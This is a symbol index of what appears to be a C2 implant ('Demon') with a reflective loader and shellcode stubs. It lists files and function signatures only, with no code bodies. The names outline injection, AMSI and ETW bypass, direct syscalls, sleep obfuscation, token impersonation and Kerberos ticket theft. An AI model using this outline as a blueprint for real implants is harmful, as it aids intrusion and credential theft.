  type PROC_THREAD_ATTRIBUTE_LIST (line 107) | typedef struct _PROC_THREAD_ATTRIBUTE_LIST
  type PSYSTEM_PROCESS_INFORMATION (line 113) | typedef PSYSTEM_PROCESS_INFORMATION  PSYS_PROC_INFO;
  type SECURITY_QUALITY_OF_SERVICE (line 114) | typedef SECURITY_QUALITY_OF_SERVICE  SEC_QUALITY_SERVICE;
  type OBJECT_ATTRIBUTES (line 115) | typedef OBJECT_ATTRIBUTES            OBJ_ATTR;
  type OBJECT_ATTRIBUTES (line 116) | typedef OBJECT_ATTRIBUTES            OBJ_ATTR;
  type PROC_THREAD_ATTRIBUTE_LIST (line 117) | typedef PROC_THREAD_ATTRIBUTE_LIST   THD_ATTR_LIST;
  type PROCESS_INFORMATION (line 118) | typedef PROCESS_INFORMATION          PROC_INFO;

FILE: payloads/Demon/include/crypt/AesCrypt.h
  type AESCTX (line 17) | typedef struct {

FILE: payloads/Demon/include/inject/Inject.h
  type DX_THREAD (line 21) | typedef enum _DX_CREATE_THREAD
  type INJECTION_CTX (line 31) | typedef struct INJECTION_CTX

FILE: payloads/Demon/scripts/hash_func.py
  function hash_string (line 7) | def hash_string( string ):
  function hash_coffapi (line 18) | def hash_coffapi( string ):

FILE: payloads/Demon/src/Demon.c
  function VOID (line 34) | VOID DemonMain( PVOID ModuleInst, PKAYN_ARGS KArgs )
  function VOID (line 63) | _Noreturn
  function VOID (line 95) | VOID DemonMetaData( PPACKAGE* MetaData, BOOL Header )
  function VOID (line 267) | VOID DemonInit( PVOID ModuleInst, PKAYN_ARGS KArgs )
  function VOID (line 573) | VOID DemonConfig()

FILE: payloads/Demon/src/core/CoffeeLdr.c
  function LONG (line 32) | LONG WINAPI VehDebugger( PEXCEPTION_POINTERS Exception )
  function BOOL (line 64) | BOOL SymbolIncludesLibrary( LPSTR Symbol )
  function BOOL (line 81) | BOOL SymbolIsImport( LPSTR Symbol )
  function BOOL (line 87) | BOOL CoffeeProcessSymbol( PCOFFEE Coffee, LPSTR SymbolName, UINT16 Symbo...
  function VOID (line 242) | VOID CoffeeFunction( PVOID Address, PVOID Argument, SIZE_T Size )
  function BOOL (line 254) | BOOL CoffeeExecuteFunction( PCOFFEE Coffee, PCHAR Function, PVOID Argume...
  function VOID (line 394) | VOID CoffeeCleanup( PCOFFEE Coffee )
  function BOOL (line 423) | BOOL CoffeeProcessSections( PCOFFEE Coffee )
  function SIZE_T (line 602) | SIZE_T CoffeeGetFunMapSize( PCOFFEE Coffee )
  function VOID (line 642) | VOID RemoveCoffeeFromInstance( PCOFFEE Coffee )
  function VOID (line 672) | VOID CoffeeLdr( PCHAR EntryName, PVOID CoffeeData, PVOID ArgData, SIZE_T...
  function VOID (line 799) | VOID CoffeeRunnerThread( PCOFFEE_PARAMS Param )

FILE: payloads/Demon/src/core/Command.c
  function VOID (line 48) | VOID CommandDispatcher( VOID )
  function VOID (line 163) | VOID CommandCheckin( PPARSER Parser )
  function VOID (line 174) | VOID CommandSleep( PPARSER Parser )
  function VOID (line 188) | VOID CommandJob( PPARSER Parser )
  function VOID (line 263) | VOID CommandProc( PPARSER Parser )
  function VOID (line 562) | VOID CommandProcList(
  function VOID (line 2608) | VOID CommandTransfer( PPARSER Parser )
  function VOID (line 2739) | VOID CommandSocket( PPARSER Parser )
  function VOID (line 3077) | VOID CommandKerberos(
  function VOID (line 3237) | VOID CommandMemFile( PPARSER Parser )
  function BOOL (line 3263) | BOOL InWorkingHours( )
  function BOOL (line 3295) | BOOL ReachedKillDate()
  function VOID (line 3300) | VOID KillDate( )
  function VOID (line 3315) | VOID CommandExit( PPARSER Parser )

FILE: payloads/Demon/src/core/Dotnet.c
  function BOOL (line 19) | BOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments )

FILE: payloads/Demon/src/core/Download.c
  function PDOWNLOAD_DATA (line 6) | PDOWNLOAD_DATA DownloadAdd( HANDLE hFile, LONGLONG MaxSize )
  function PDOWNLOAD_DATA (line 27) | PDOWNLOAD_DATA DownloadGet( DWORD FileID )
  function VOID (line 41) | VOID DownloadFree( PDOWNLOAD_DATA Download )
  function BOOL (line 56) | BOOL DownloadRemove( DWORD FileID )
  function VOID (line 94) | VOID DownloadPush()
  function BOOL (line 238) | BOOL MemFileIsNew( ULONG32 ID )
  function PMEM_FILE (line 254) | PMEM_FILE NewMemFile( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadS...
  function PMEM_FILE (line 287) | PMEM_FILE GetMemFile( ULONG32 ID )
  function PMEM_FILE (line 302) | PMEM_FILE ProcessMemFileChunk( ULONG32 ID, SIZE_T Size, PVOID Data, ULON...
  function PMEM_FILE (line 318) | PMEM_FILE MemFileReadChunk( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32...
  function VOID (line 339) | VOID MemFileFree( PMEM_FILE MemFile )
  function BOOL (line 355) | BOOL RemoveMemFile( ULONG32 ID )

FILE: payloads/Demon/src/core/HwBpEngine.c
  function NTSTATUS (line 18) | NTSTATUS HwBpEngineInit(
  function NTSTATUS (line 61) | NTSTATUS HwBpEngineSetBp(
  function NTSTATUS (line 152) | NTSTATUS HwBpEngineAdd(
  function NTSTATUS (line 209) | NTSTATUS HwBpEngineRemove(
  function NTSTATUS (line 261) | NTSTATUS HwBpEngineDestroy(
  function LONG (line 320) | LONG ExceptionHandler(

FILE: payloads/Demon/src/core/HwBpExceptions.c
  function VOID (line 6) | VOID HwBpExAmsiScanBuffer(
  function VOID (line 23) | VOID HwBpExNtTraceEvent(

FILE: payloads/Demon/src/core/Jobs.c
  function VOID (line 17) | VOID JobAdd( UINT32 RequestID, DWORD JobID, SHORT Type, SHORT State, HAN...
  function VOID (line 63) | VOID JobCheckList()
  function BOOL (line 184) | BOOL JobSuspend( DWORD JobID )
  function BOOL (line 230) | BOOL JobResume( DWORD JobID )
  function BOOL (line 277) | BOOL JobKill( DWORD JobID )
  function VOID (line 383) | VOID JobRemove( DWORD JobID )

FILE: payloads/Demon/src/core/Kerberos.c
  function BOOL (line 8) | BOOL IsHighIntegrity(HANDLE TokenHandle)
  function DWORD (line 29) | DWORD GetProcessIdByName(WCHAR* processName)
  function BOOL (line 61) | BOOL ElevateToSystem()
  function BOOL (line 131) | BOOL IsSystem( HANDLE TokenHandle )
  function NTSTATUS (line 155) | NTSTATUS GetLsaHandle( HANDLE hToken, BOOL highIntegrity, PHANDLE hLsa )
  function NTSTATUS (line 218) | NTSTATUS GetLogonSessionData( LUID luid, PLOGON_SESSION_DATA* data )
  function VOID (line 283) | VOID ExtractTicket( HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_S...
  function VOID (line 337) | VOID CopySessionInfo( PSESSION_INFORMATION Session, PSECURITY_LOGON_SESS...
  function VOID (line 371) | VOID CopyTicketInfo( PTICKET_INFORMATION TicketInfo, PKERB_TICKET_CACHE_...
  function BOOL (line 399) | BOOL Ptt( HANDLE hToken, PBYTE Ticket, DWORD TicketSize, LUID luid )
  function BOOL (line 494) | BOOL Purge( HANDLE hToken, LUID luid )
  function PSESSION_INFORMATION (line 585) | PSESSION_INFORMATION Klist( HANDLE hToken, LUID luid )
  function LUID (line 752) | LUID* GetLUID( HANDLE hToken )

FILE: payloads/Demon/src/core/Memory.c
  function PVOID (line 15) | PVOID MmHeapAlloc(
  function PVOID (line 31) | PVOID MmHeapReAlloc(
  function BOOL (line 48) | BOOL MmHeapFree(
  function PVOID (line 62) | PVOID MmVirtualAlloc(
  function BOOL (line 133) | BOOL MmVirtualProtect(
  function BOOL (line 189) | BOOL MmVirtualWrite(
  function BOOL (line 209) | BOOL MmVirtualFree(
  function PVOID (line 240) | PVOID MmGadgetFind(
  function BOOL (line 269) | BOOL FreeReflectiveLoader(

FILE: payloads/Demon/src/core/MiniStd.c
  function INT (line 9) | INT StringCompareA( LPCSTR String1, LPCSTR String2 )
  function INT (line 21) | INT StringCompareW( LPWSTR String1, LPWSTR String2 )
  function INT (line 33) | INT StringNCompareW( LPWSTR String1, LPWSTR String2, INT Length )
  function WCHAR (line 48) | WCHAR ToLowerCaseW( WCHAR C )
  function INT (line 53) | INT StringCompareIW( LPWSTR String1, LPWSTR String2 )
  function INT (line 65) | INT StringNCompareIW( LPWSTR String1, LPWSTR String2, INT Length )
  function BOOL (line 80) | BOOL EndsWithIW( LPWSTR String, LPWSTR Ending )
  function DWORD (line 100) | DWORD HashStringA( PCHAR String )
  function PCHAR (line 112) | PCHAR StringCopyA(PCHAR String1, PCHAR String2)
  function PWCHAR (line 121) | PWCHAR StringCopyW(PWCHAR String1, PWCHAR String2)
  function SIZE_T (line 130) | SIZE_T StringLengthA(LPCSTR String)
  function SIZE_T (line 142) | SIZE_T StringLengthW(LPCWSTR String)
  function PCHAR (line 151) | PCHAR StringConcatA(PCHAR String, PCHAR String2)
  function PWCHAR (line 158) | PWCHAR StringConcatW(PWCHAR String, PWCHAR String2)
  function LPWSTR (line 165) | LPWSTR WcsStr( PWCHAR String, PWCHAR String2 )
  function LPWSTR (line 185) | LPWSTR WcsIStr( PWCHAR String, PWCHAR String2 )
  function INT (line 205) | INT MemCompare( PVOID s1, PVOID s2, INT len)
  function SIZE_T (line 229) | SIZE_T WCharStringToCharString(PCHAR Destination, PWCHAR Source, SIZE_T ...
  function SIZE_T (line 242) | SIZE_T CharStringToWCharString( PWCHAR Destination, PCHAR Source, SIZE_T...
  function PCHAR (line 255) | PCHAR StringTokenA(PCHAR String, CONST PCHAR Delim)
  function UINT64 (line 300) | UINT64 GetSystemFileTime( )
  function BYTE (line 313) | BYTE NO_INLINE HideChar( BYTE C )

FILE: payloads/Demon/src/core/Obf.c
  function VOID (line 22) | VOID FoliageObf(
  function BOOL (line 339) | BOOL TimerObf(
  function UINT32 (line 650) | UINT32 SleepTime(
  function VOID (line 714) | VOID SleepObf(

FILE: payloads/Demon/src/core/ObjectApi.c
  function PVOID (line 20) | PVOID LdrModulePebString( PCHAR ModuleString )
  function PVOID (line 26) | PVOID LdrFunctionAddrString( PVOID Module, PCHAR Function )
  function BOOL (line 32) | BOOL LdrFreeLibrary( HMODULE hLibModule )
  function HLOCAL (line 37) | HLOCAL LdrLocalFree( PVOID hMem )
  function swap_endianess (line 131) | uint32_t swap_endianess(uint32_t indata) {
  function VOID (line 143) | VOID BeaconDataParse( PDATA parser, PCHAR buffer, INT size )
  function INT (line 155) | INT BeaconDataInt( PDATA parser )
  function SHORT (line 170) | SHORT BeaconDataShort( datap* parser )
  function INT (line 185) | INT BeaconDataLength( PDATA parser )
  function PCHAR (line 190) | PCHAR BeaconDataExtract( PDATA parser, PINT size )
  function BOOL (line 224) | BOOL GetRequestIDForCallingObjectFile( PVOID CoffeeFunctionReturn, PUINT...
  function VOID (line 248) | VOID BeaconPrintf( INT Type, PCHAR fmt, ... )
  function VOID (line 305) | VOID BeaconOutput( INT Type, PCHAR data, INT len )
  function BOOL (line 324) | BOOL BeaconIsAdmin(
  function VOID (line 343) | VOID BeaconFormatAlloc( PFORMAT format, int maxsz )
  function VOID (line 354) | VOID BeaconFormatReset( PFORMAT format )
  function VOID (line 361) | VOID BeaconFormatFree( PFORMAT format )
  function VOID (line 377) | VOID BeaconFormatAppend( PFORMAT format, char* text, int len )
  function VOID (line 384) | VOID BeaconFormatPrintf( PFORMAT format, char* fmt, ... )
  function VOID (line 411) | VOID BeaconFormatInt( PFORMAT format, int value)
  function BOOL (line 425) | BOOL BeaconUseToken( HANDLE token )
  function VOID (line 440) | VOID BeaconGetSpawnTo( BOOL x86, char* buffer, int length )
  function BOOL (line 463) | BOOL BeaconSpawnTemporaryProcess( BOOL x86, BOOL ignoreToken, STARTUPINF...
  function VOID (line 487) | VOID BeaconInjectProcess( HANDLE hProc, int pid, char* payload, int p_le...
  function VOID (line 530) | VOID BeaconInjectTemporaryProcess( PROCESS_INFORMATION* pInfo, char* pay...
  function VOID (line 564) | VOID BeaconCleanupProcess( PROCESS_INFORMATION* pInfo )
  function VOID (line 578) | VOID BeaconInformation(BEACON_INFO * info)
  function BOOL (line 584) | BOOL BeaconAddValue(const char * key, void * ptr)
  function PVOID (line 633) | PVOID BeaconGetValue(const char * key)
  function BOOL (line 656) | BOOL BeaconRemoveValue(const char * key)
  function PDATA_STORE_OBJECT (line 690) | PDATA_STORE_OBJECT BeaconDataStoreGetItem(SIZE_T index)
  function VOID (line 697) | VOID BeaconDataStoreProtectItem(SIZE_T index)
  function VOID (line 704) | VOID BeaconDataStoreUnprotectItem(SIZE_T index)
  function SIZE_T (line 711) | SIZE_T BeaconDataStoreMaxEntries()
  function PCHAR (line 718) | PCHAR BeaconGetCustomUserData()
  function BOOL (line 724) | BOOL toWideChar( char* src, wchar_t* dst, int max )

FILE: payloads/Demon/src/core/Package.c
  function VOID (line 13) | VOID Int64ToBuffer( PUCHAR Buffer, UINT64 Value )
  function VOID (line 39) | VOID Int32ToBuffer(
  function VOID (line 49) | VOID PackageAddInt32(
  function VOID (line 68) | VOID PackageAddInt64( PPACKAGE Package, UINT64 dataInt )
  function VOID (line 85) | VOID PackageAddBool(
  function VOID (line 104) | VOID PackageAddPtr( PPACKAGE Package, PVOID pointer )
  function VOID (line 109) | VOID PackageAddPad( PPACKAGE Package, PCHAR Data, SIZE_T Size )
  function VOID (line 125) | VOID PackageAddBytes( PPACKAGE Package, PBYTE Data, SIZE_T Size )
  function VOID (line 147) | VOID PackageAddString( PPACKAGE package, PCHAR data )
  function VOID (line 152) | VOID PackageAddWString( PPACKAGE package, PWCHAR data )
  function PPACKAGE (line 157) | PPACKAGE PackageCreate( UINT32 CommandID )
  function PPACKAGE (line 174) | PPACKAGE PackageCreateWithMetaData( UINT32 CommandID )
  function PPACKAGE (line 187) | PPACKAGE PackageCreateWithRequestID( UINT32 CommandID, UINT32 RequestID )
  function VOID (line 196) | VOID PackageDestroy(
  function BOOL (line 229) | BOOL PackageTransmitNow(
  function VOID (line 281) | VOID PackageTransmit(
  function BOOL (line 333) | BOOL PackageTransmitAll(
  function VOID (line 471) | VOID PackageTransmitError(

FILE: payloads/Demon/src/core/Parser.c
  function VOID (line 7) | VOID ParserNew( PPARSER parser, PBYTE Buffer, UINT32 size )
  function VOID (line 21) | VOID ParserDecrypt( PPARSER parser, PBYTE Key, PBYTE IV )
  function INT16 (line 33) | INT16 ParserGetInt16( PPARSER parser )
  function BYTE (line 48) | BYTE ParserGetByte( PPARSER parser )
  function INT (line 64) | INT ParserGetInt32( PPARSER parser )
  function INT64 (line 85) | INT64 ParserGetInt64( PPARSER parser )
  function BOOL (line 106) | BOOL ParserGetBool( PPARSER parser )
  function PBYTE (line 127) | PBYTE ParserGetBytes( PPARSER parser, PUINT32 size )
  function PCHAR (line 158) | PCHAR  ParserGetString( PPARSER parser, PUINT32 size )
  function PWCHAR (line 163) | PWCHAR  ParserGetWString( PPARSER parser, PUINT32 size )
  function VOID (line 168) | VOID ParserDestroy( PPARSER Parser )

FILE: payloads/Demon/src/core/Pivot.c
  function BOOL (line 24) | BOOL PivotAdd( BUFFER NamedPipe, PVOID* Output, PDWORD BytesSize )
  function PPIVOT_DATA (line 121) | PPIVOT_DATA PivotGet( DWORD AgentID )
  function BOOL (line 139) | BOOL PivotRemove( DWORD AgentId )
  function DWORD (line 218) | DWORD PivotCount()
  function VOID (line 235) | VOID PivotPush()
  function UINT32 (line 331) | UINT32 PivotParseDemonID( PVOID Response, SIZE_T Size )

FILE: payloads/Demon/src/core/Runtime.c
  function BOOL (line 6) | BOOL RtAdvapi32(
  function BOOL (line 68) | BOOL RtMscoree(
  function BOOL (line 103) | BOOL RtOleaut32(
  function BOOL (line 142) | BOOL RtUser32(
  function BOOL (line 176) | BOOL RtShell32(
  function BOOL (line 208) | BOOL RtMsvcrt(
  function BOOL (line 240) | BOOL RtIphlpapi(
  function BOOL (line 273) | BOOL RtGdi32(
  function BOOL (line 310) | BOOL RtNetApi32(
  function BOOL (line 349) | BOOL RtWs2_32(
  function BOOL (line 394) | BOOL RtSspicli(
  function BOOL (line 433) | BOOL RtAmsi(
  function BOOL (line 463) | BOOL RtWinHttp(

FILE: payloads/Demon/src/core/Socket.c
  function BOOL (line 7) | BOOL RecvAll( SOCKET Socket, PVOID Buffer, DWORD Length, PDWORD BytesRead )
  function BOOL (line 33) | BOOL InitWSA( VOID )
  function PSOCKET_DATA (line 59) | PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD ...
  function VOID (line 213) | VOID SocketClients()
  function VOID (line 281) | VOID SocketRead()
  function VOID (line 425) | VOID SocketFree( PSOCKET_DATA Socket )
  function VOID (line 482) | VOID SocketCleanDead()
  function VOID (line 522) | VOID SocketPush()
  function DWORD (line 539) | DWORD DnsQueryIPv4( LPSTR Domain )
  function PBYTE (line 580) | PBYTE DnsQueryIPv6( LPSTR Domain )

FILE: payloads/Demon/src/core/Spoof.c
  function PVOID (line 6) | PVOID SpoofRetAddr(

FILE: payloads/Demon/src/core/SysNative.c
  function NTSTATUS (line 6) | NTSTATUS NTAPI SysNtOpenThread(
  function NTSTATUS (line 20) | NTSTATUS NTAPI SysNtOpenProcess(
  function NTSTATUS (line 34) | NTSTATUS NTAPI SysNtTerminateProcess(
  function NTSTATUS (line 46) | NTSTATUS NTAPI SysNtOpenThreadToken(
  function NTSTATUS (line 60) | NTSTATUS NTAPI SysNtOpenProcessToken(
  function NTSTATUS (line 73) | NTSTATUS NTAPI SysNtDuplicateToken(
  function NTSTATUS (line 89) | NTSTATUS NTAPI SysNtQueueApcThread(
  function NTSTATUS (line 104) | NTSTATUS NTAPI SysNtSuspendThread(
  function NTSTATUS (line 116) | NTSTATUS NTAPI SysNtResumeThread(
  function NTSTATUS (line 128) | NTSTATUS NTAPI SysNtCreateEvent (
  function NTSTATUS (line 143) | NTSTATUS NTAPI SysNtCreateThreadEx(
  function NTSTATUS (line 176) | NTSTATUS NTAPI SysNtDuplicateObject(
  function NTSTATUS (line 193) | NTSTATUS NTAPI SysNtGetContextThread (
  function NTSTATUS (line 205) | NTSTATUS NTAPI SysNtSetContextThread(
  function NTSTATUS (line 217) | NTSTATUS NTAPI SysNtQueryInformationProcess(
  function NTSTATUS (line 232) | NTSTATUS NTAPI SysNtQuerySystemInformation (
  function NTSTATUS (line 246) | NTSTATUS NTAPI SysNtWaitForSingleObject(
  function NTSTATUS (line 259) | NTSTATUS NTAPI SysNtAllocateVirtualMemory(
  function NTSTATUS (line 275) | NTSTATUS NTAPI SysNtWriteVirtualMemory(
  function NTSTATUS (line 290) | NTSTATUS NTAPI SysNtFreeVirtualMemory(
  function NTSTATUS (line 304) | NTSTATUS NTAPI SysNtUnmapViewOfSection(
  function NTSTATUS (line 316) | NTSTATUS NTAPI SysNtProtectVirtualMemory(
  function NTSTATUS (line 331) | NTSTATUS NTAPI SysNtReadVirtualMemory (
  function NTSTATUS (line 346) | NTSTATUS NTAPI SysNtTerminateThread (
  function NTSTATUS (line 358) | NTSTATUS NTAPI SysNtAlertResumeThread(
  function NTSTATUS (line 370) | NTSTATUS NTAPI SysNtSignalAndWaitForSingleObject(
  function NTSTATUS (line 384) | NTSTATUS NTAPI SysNtQueryVirtualMemory(
  function NTSTATUS (line 400) | NTSTATUS NTAPI SysNtQueryInformationToken (
  function NTSTATUS (line 415) | NTSTATUS NTAPI SysNtQueryInformationThread(
  function NTSTATUS (line 430) | NTSTATUS NTAPI SysNtQueryObject(
  function NTSTATUS (line 445) | NTSTATUS NTAPI SysNtClose (
  function NTSTATUS (line 456) | NTSTATUS NTAPI SysNtSetInformationThread (
  function NTSTATUS (line 470) | NTSTATUS NTAPI SysNtSetInformationVirtualMemory(
  function NTSTATUS (line 486) | NTSTATUS NTAPI SysNtGetNextThread(

FILE: payloads/Demon/src/core/Syscalls.c
  function BOOL (line 12) | BOOL SysInitialize(

FILE: payloads/Demon/src/core/Thread.c
  function BOOL (line 20) | BOOL ThreadQueryTib(
  function HANDLE (line 118) | HANDLE ThreadCreateWoW64(
  function HANDLE (line 217) | HANDLE ThreadCreate(

FILE: payloads/Demon/src/core/Token.c
  function BOOL (line 37) | BOOL TokenDuplicate(
  function BOOL (line 74) | BOOL TokenRevSelf(
  function BOOL (line 103) | BOOL TokenQueryOwner(
  function BOOL (line 203) | BOOL TokenSetPrivilege(
  function BOOL (line 240) | BOOL TokenSetSeDebugPriv(
  function BOOL (line 271) | BOOL TokenSetSeImpersonatePriv(
  function DWORD (line 323) | DWORD TokenAdd(
  function BOOL (line 365) | BOOL SysDuplicateTokenEx(
  function BOOL (line 474) | BOOL TokenRemove( DWORD TokenID )
  function HANDLE (line 624) | HANDLE TokenCurrentHandle(
  function BOOL (line 650) | BOOL TokenElevated(
  function PTOKEN_LIST_DATA (line 664) | PTOKEN_LIST_DATA TokenGet(
  function VOID (line 681) | VOID TokenClear(
  function BOOL (line 707) | BOOL TokenImpersonate(
  function VOID (line 733) | VOID AddUserToken(
  function BOOL (line 771) | BOOL IsImpersonationToken( HANDLE token )
  function BOOL (line 802) | BOOL CanTokenBeImpersonated( IN HANDLE hToken )
  function VOID (line 830) | VOID ProcessUserToken(
  function BOOL (line 878) | BOOL QueryObjectTypesInfo( POBJECT_TYPES_INFORMATION* pObjectTypes, PULO...
  function BOOL (line 910) | BOOL GetTypeIndexToken( OUT PULONG TokenTypeIndex )
  function BOOL (line 949) | BOOL GetTokenInfo(
  function BOOL (line 1029) | BOOL ProcessIsIncluded( IN PPROCESS_LIST process_list, IN ULONG ProcessId )
  function BOOL (line 1040) | BOOL GetProcessesFromHandleTable( IN PSYSTEM_HANDLE_INFORMATION handleTa...
  function BOOL (line 1076) | BOOL GetAllHandles( OUT PSYSTEM_HANDLE_INFORMATION* phandle_table, OUT P...
  function BOOL (line 1122) | BOOL IsNotCurrentUser( BOOL DoCheck, PBUFFER UserA, PBUFFER UserB )
  function BOOL (line 1130) | BOOL ListTokens( PUSER_TOKEN_DATA* pTokens, PDWORD pNumTokens )
  function BOOL (line 1257) | BOOL ImpersonateTokenFromVault(
  function BOOL (line 1281) | BOOL SysImpersonateLoggedOnUser( HANDLE hToken )
  function BOOL (line 1361) | BOOL ImpersonateTokenInStore(

FILE: payloads/Demon/src/core/Transport.c
  function BOOL (line 13) | BOOL TransportInit( )
  function BOOL (line 52) | BOOL TransportSend( LPVOID Data, SIZE_T Size, PVOID* RecvData, PSIZE_T R...
  function BOOL (line 89) | BOOL SMBGetJob( PVOID* RecvData, PSIZE_T RecvSize )

FILE: payloads/Demon/src/core/TransportHttp.c
  function BOOL (line 21) | BOOL HttpSend(
  function DWORD (line 336) | DWORD HttpQueryStatus(
  function PHOST_DATA (line 356) | PHOST_DATA HostAdd(
  function PHOST_DATA (line 378) | PHOST_DATA HostFailure( PHOST_DATA Host )
  function PHOST_DATA (line 402) | PHOST_DATA HostRandom()
  function PHOST_DATA (line 437) | PHOST_DATA HostRotation( SHORT Strategy )
  function DWORD (line 514) | DWORD HostCount()
  function BOOL (line 541) | BOOL HostCheckup()

FILE: payloads/Demon/src/core/TransportSmb.c
  function BOOL (line 8) | BOOL SmbSend( PBUFFER Send )
  function BOOL (line 65) | BOOL SmbRecv( PBUFFER Resp )
  function VOID (line 142) | VOID SmbSecurityAttrOpen( PSMB_PIPE_SEC_ATTR SmbSecAttr, PSECURITY_ATTRI...
  function VOID (line 213) | VOID SmbSecurityAttrFree( PSMB_PIPE_SEC_ATTR SmbSecAttr )

FILE: payloads/Demon/src/core/Win32.c
  function ULONG (line 17) | ULONG HashEx(
  function PVOID (line 65) | PVOID LdrModulePeb(
  function PVOID (line 99) | PVOID LdrModulePebByString(
  function PVOID (line 165) | PVOID LdrModuleSearch(
  function PVOID (line 215) | PVOID LdrModuleLoad(
  function PVOID (line 377) | PVOID LdrFunctionAddr(
  function UINT32 (line 440) | UINT32 GetSyscallSize(
  function HANDLE (line 515) | HANDLE ProcessOpen(
  function BOOL (line 544) | BOOL ProcessIsWow(
  function BOOL (line 579) | BOOL ProcessCreate(
  function BOOL (line 806) | BOOL ProcessTerminate(
  function NTSTATUS (line 848) | NTSTATUS ProcessSnapShot(
  function BOOL (line 886) | BOOL ReadLocalFile(
  function BOOL (line 930) | BOOL BypassPatchAMSI(
  function BOOL (line 981) | BOOL AnonPipesInit(
  function VOID (line 1000) | VOID AnonPipesRead(
  function BOOL (line 1052) | BOOL WinScreenshot(
  function BOOL (line 1175) | BOOL PipeRead(
  function BOOL (line 1202) | BOOL PipeWrite(
  function BOOL (line 1227) | BOOL CfgQueryEnforced(
  function VOID (line 1259) | VOID CfgAddressAdd(
  function BOOL (line 1293) | BOOL EventSet(
  function ULONG (line 1304) | ULONG RandomNumber32(
  function BOOL (line 1321) | BOOL RandomBool(
  function ULONG64 (line 1337) | ULONG64 SharedTimestamp(
  function VOID (line 1357) | VOID SharedSleep(
  function VOID (line 1379) | VOID ShuffleArray(
  function VOID (line 1396) | VOID volatile ___chkstk_ms(
  function VOID (line 1402) | VOID DemonPrintf( PCHAR fmt, ... )
  function VOID (line 1434) | VOID LogToConsole(
  function PROOT_DIR (line 1478) | PROOT_DIR listDir(

FILE: payloads/Demon/src/crypt/AesCrypt.c
  type UINT8 (line 21) | typedef UINT8 state_t[4][4];
  function KeyExpansion (line 47) | void KeyExpansion(UINT8* RoundKey, const UINT8* Key)
  function AesInit (line 103) | void AesInit( PAESCTX ctx, const PUINT8 key, const PUINT8 iv)
  function AddRoundKey (line 111) | static void AddRoundKey(UINT8 round, state_t* state, const UINT8* RoundKey)
  function SubBytes (line 125) | static void SubBytes(state_t* state)
  function ShiftRows (line 140) | static void ShiftRows(state_t* state)
  function UINT8 (line 168) | static UINT8 xtime(UINT8 x)
  function MixColumns (line 174) | static void MixColumns(state_t* state)
  function Cipher (line 190) | static void Cipher(state_t* state, const UINT8* RoundKey) // Main
  function AesXCryptBuffer (line 217) | void AesXCryptBuffer( PAESCTX ctx, PUINT8 buf, SIZE_T length)

FILE: payloads/Demon/src/inject/Inject.c
  function DWORD (line 27) | DWORD Inject(
  function DWORD (line 172) | DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD D...
  function DWORD (line 322) | DWORD DllSpawnReflective( LPVOID DllLdr, DWORD DllLdrSize, LPVOID DllBuf...

FILE: payloads/Demon/src/inject/InjectUtil.c
  type ULONG (line 9) | typedef ULONG NTSTATUS;
  function DWORD (line 12) | DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )
  function DWORD (line 36) | DWORD GetReflectiveLoaderOffset( PVOID ReflectiveLdrAddr )
  function DWORD (line 72) | DWORD GetPeArch( PVOID PeBytes )

FILE: payloads/Demon/src/main/MainDll.c
  function DLLEXPORT (line 8) | DLLEXPORT VOID Start(  )
  function WINAPI (line 24) | WINAPI DllMain(

FILE: payloads/Demon/src/main/MainExe.c
  function INT (line 3) | INT WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR ...

FILE: payloads/Demon/src/main/MainSvc.c
  function INT (line 16) | INT WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR ...
  function VOID (line 31) | VOID WINAPI SvcMain( DWORD dwArgc, LPTSTR* Argv )
  function VOID (line 41) | VOID WINAPI SrvCtrlHandler( DWORD CtrlCode )

FILE: payloads/DllLdr/Include/Core.h
  type U_STRING (line 29) | typedef struct
  type INSTANCE (line 36) | typedef struct

FILE: payloads/DllLdr/Include/Native.h
  type myUNICODE_STRING (line 2) | typedef struct _myUNICODE_STRING
  type CURDIR (line 9) | typedef struct _CURDIR
  type ULONG (line 24) | typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32];
  type ULONG (line 25) | typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64];
  type ULONG (line 26) | typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];
  type PEB_LDR_DATA (line 28) | typedef struct _PEB_LDR_DATA
  type PEB (line 41) | typedef struct _PEB
  type LDR_DATA_TABLE_ENTRY (line 173) | typedef struct _LDR_DATA_TABLE_ENTRY

FILE: payloads/DllLdr/Scripts/extract.py
  function main (line 8) | def main(options):

FILE: payloads/DllLdr/Source/Entry.c
  function DLLEXPORT (line 5) | DLLEXPORT VOID KaynLoader( LPVOID lpParameter )
  function NAKED (line 144) | NAKED LPVOID KaynCaller( PVOID StartAddress )
  function NAKED (line 166) | NAKED VOID Memcpy( PVOID Destination, PVOID source, SIZE_T Size )
  function PVOID (line 185) | PVOID KGetModuleByHash( DWORD ModuleHash )
  function FORCE_INLINE (line 206) | FORCE_INLINE UINT32 CopyDotStr( PCHAR String )
  function PVOID (line 215) | PVOID KGetProcAddressByHash( PINSTANCE Instance, PVOID DllModuleBase, DW...
  function VOID (line 265) | VOID KResolveIAT( PINSTANCE Instance, LPVOID KaynImage, LPVOID IatDir )
  function VOID (line 306) | VOID KReAllocSections( PVOID KaynImage, PVOID ImageBase, PVOID BaseReloc...
  function PVOID (line 331) | PVOID KLoadLibrary( PINSTANCE Instance, LPSTR ModuleName )
  function DWORD (line 364) | DWORD KHashString( PVOID String, SIZE_T Length )
  function SIZE_T (line 393) | SIZE_T KStringLengthA( LPCSTR String )
  function SIZE_T (line 400) | SIZE_T KStringLengthW(LPCWSTR String)
  function SIZE_T (line 409) | SIZE_T KCharStringToWCharString( PWCHAR Destination, PCHAR Source, SIZE_...

FILE: payloads/Shellcode/Include/Core.h
  type U_STRING (line 22) | typedef struct
  type INSTANCE (line 29) | typedef struct
  type KAYN_ARGS (line 65) | typedef struct

FILE: payloads/Shellcode/Scripts/Hasher.c
  function Hash (line 4) | long Hash( char* String )
  function ToUpperString (line 15) | void ToUpperString(char * temp) {
